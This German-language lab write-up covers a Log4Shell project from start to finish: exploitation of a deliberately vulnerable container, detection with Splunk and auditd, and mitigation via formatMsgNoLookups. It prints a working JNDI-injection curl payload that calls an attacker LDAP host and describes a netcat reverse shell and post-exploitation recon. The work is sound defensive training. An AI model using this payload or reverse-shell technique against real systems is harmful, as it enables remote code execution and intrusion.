
Hands-on-Projekt, das die Ausnutzung von Log4Shell, die Erkennungsentwicklung mit Splunk und auditd sowie eine validierte Behebung in einer containerisierten Umgebung demonstriert.
Ein praxisorientiertes Projekt für offensive und defensive Sicherheit, das den gesamten Lebenszyklus der Log4Shell-Schwachstelle simuliert: Ausnutzung von einer Angreifer-VM aus, Erkennungs-Engineering in Splunk und validierte Behebung.
Die meisten Portfolio-Projekte in diesem Bereich decken SSH-Brute-Force ab. Ich wollte etwas, das ein umfassenderes Fähigkeitsspektrum demonstriert: die Ausnutzung einer realen, hochwirksamen CVE von Anfang bis Ende, gefolgt vom Wechsel auf die defensive Seite, um sie zu erkennen und zu beheben – derselbe Lebenszyklus, den ein Security Engineer oder Detection Engineer in der Praxis durchläuft.
illshot (192.168.1.85), mit nativ laufendem Splunk für Log-Erfassung und Erkennungghcr.io/christophetd/log4shell-vulnerable-app (Spring Boot, Log4j 2.14.1, Java 8u181), laufend in einem Docker-Container, Logs über --log-driver=syslog in das Syslog von Mint geleitet1. Listener und Exploit-Tool einrichten. Startete einen Netcat-Listener auf Kali, um den Reverse-Shell-Callback zu empfangen, und startete anschließend ein selbst gebautes JNDI-Injection-Exploit-Tool (aus dem Quellcode gebaut, da keine vorgefertigten Releases verfügbar waren), um die schädliche LDAP-Payload bereitzustellen.

2. Exploit senden. Zustellung der Payload über einen manipulierten HTTP-Header mit einer JNDI-Lookup-Zeichenkette, die auf die verwundbare App auf Port 8080 abzielte.
curl 192.168.1.85:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.86:1389/<payload-id>}'

3. Shell abfangen. Die verwundbare App parste den Header, löste das JNDI-Lookup aus und kontaktierte meine Kali-Maschine, um die schädliche Klasse abzurufen und auszuführen – was zu einer Reverse Shell mit Root-Rechten im Container führte.

Post-Exploitation-Aufklärung (wie ein echter Angreifer sie durchführen würde): Bestätigung des root-Zugriffs, Prüfung der Umgebungsvariablen (sauber, keine geleakten Secrets), Inspektion des Anwendungs-Jars und Prüfung von /etc/passwd, das eine Reihe ungenutzter Service-Konten des Alpine-Basisimages offenbarte – ein gutes Beispiel für ein irreführendes Aufklärungs-Artefakt, das keine reale Angriffsfläche widerspiegelt.
Splunk, das das Syslog von Mint erfasst, protokollierte die gesamte Exploit-Kette: die anfängliche JNDI-Lookup-Anfrage, den daraus resultierenden NamingException- und ClassCastException-Stacktrace sowie die zugehörigen sudo docker exec-Befehle, die zur Interaktion mit dem Container auf Host-Ebene verwendet wurden.

Auch Aufklärung war vor der Ausnutzung sichtbar: UFW-Firewall-Logs erfassten den Nmap-Scan-Verkehr von Kali gegen das Ziel.

Ein zentraler technischer Befund dieses Projekts: Eine rohe nc -e /bin/sh-Reverse-Shell authentifiziert sich nie über PAM und erzeugt daher keine Einträge in auth.log und keine Login-Sitzung. Für sich allein genommen würde das diese Art von Shell für standardmäßige login-basierte Protokollierung unsichtbar machen.
Docker-Container teilen sich jedoch den Kernel des Hosts, anstatt vollständig isolierte virtualisierte Kernel auszuführen. Das bedeutet, dass jedes execve (Prozessausführung) im Container weiterhin für das Host-Audit-Subsystem sichtbar ist. Ich konfigurierte auditd auf Mint so, dass es systemweit auf execve-Syscalls achtet, markierte die Regel (container_exec) und speiste /var/log/audit/audit.log als neue Datenquelle in Splunk ein.

Das erneute Auslösen des Exploits und das Ausführen von Post-Exploitation-Befehlen (whoami, cat /etc/passwd, ls /app, env) bestätigte die Theorie: auditd erfasste jeden Befehl, einschließlich des Aufrufs der rohen nc-Reverse-Shell selbst, komplett mit der IP und dem Port des Angreifers, die direkt in den protokollierten Argumenten sichtbar waren.

Auch umfassendere Post-Exploitation-Aktivitäten waren vollständig sichtbar und liefen unter /bin/busybox (die minimale Shell des Containers implementiert die meisten Unix-Tools als Symlinks auf eine einzige BusyBox-Binärdatei, daher zeigt comm busybox, während exe weiterhin den vollständigen Pfad auflöst):

Ein weiteres erwähnenswertes Detail: Jedes erfasste Ereignis zeigte auid=4294967295 (nicht gesetzt/keine Login-Sitzung) gepaart mit uid=0 (root). Diese Kombination ist selbst ein starkes Indiz für eine nicht authentifizierte Shell – ein Prozess mit vollständigen Root-Rechten, aber ohne Audit-Login-ID überhaupt, genau das, was man von einer Shell erwartet, die die normale Authentifizierung vollständig umgangen hat.
Wichtige Erkennungsabfragen:
index=main *jndi*
index=* sourcetype=linux_audit key=container_exec exe=/bin/busybox
| table _time, exe, comm, pid, ppid, uid
| sort _time
Anwendung der offiziellen Übergangsmaßnahme, die von Apache und CISA vor den gepatchten Log4j-Versionen veröffentlicht wurde: Deaktivierung von JNDI-Message-Lookups über eine JVM-Systemeigenschaft.
docker run -d --name vuln-log4j --log-driver=syslog --log-opt tag="vuln-log4j" \
-p 8080:8080 \
-e JAVA_TOOL_OPTIONS="-Dlog4j2.formatMsgNoLookups=true" \
ghcr.io/christophetd/log4shell-vulnerable-app
Der erneute Versuch derselben Exploit-Kette nach der Behebung bestätigte den Fix: Die Anfrage kam weiterhin an und wurde protokolliert, aber das JNDI-Lookup wurde nie ausgewertet – kein Callback, kein Stacktrace, keine Shell.

Dieser Vergleich ist der deutlichste Beleg des Projekts: Der ursprüngliche Angriff erzeugte eine vollständige Exploit-Kette mit 136+ zugehörigen Log-Ereignissen und einem erfolgreichen Callback. Nach der Behebung erzeugt der identische Angriff eine einzige harmlose Log-Zeile ohne jegliche nachgelagerte Lookup-Aktivität.
Erwähnenswert für die Verteidigung in der Tiefe: Der Exploit-Versuch blieb auch nach der Behebung in den Logs sichtbar. Der Erkennungswert verschwindet nicht, sobald eine Schwachstelle gepatcht ist – ein gepatchtes System, das später falsch konfiguriert wird, oder eine Varianten-Payload würde weiterhin von denselben hier aufgebauten Erkennungsabfragen erfasst.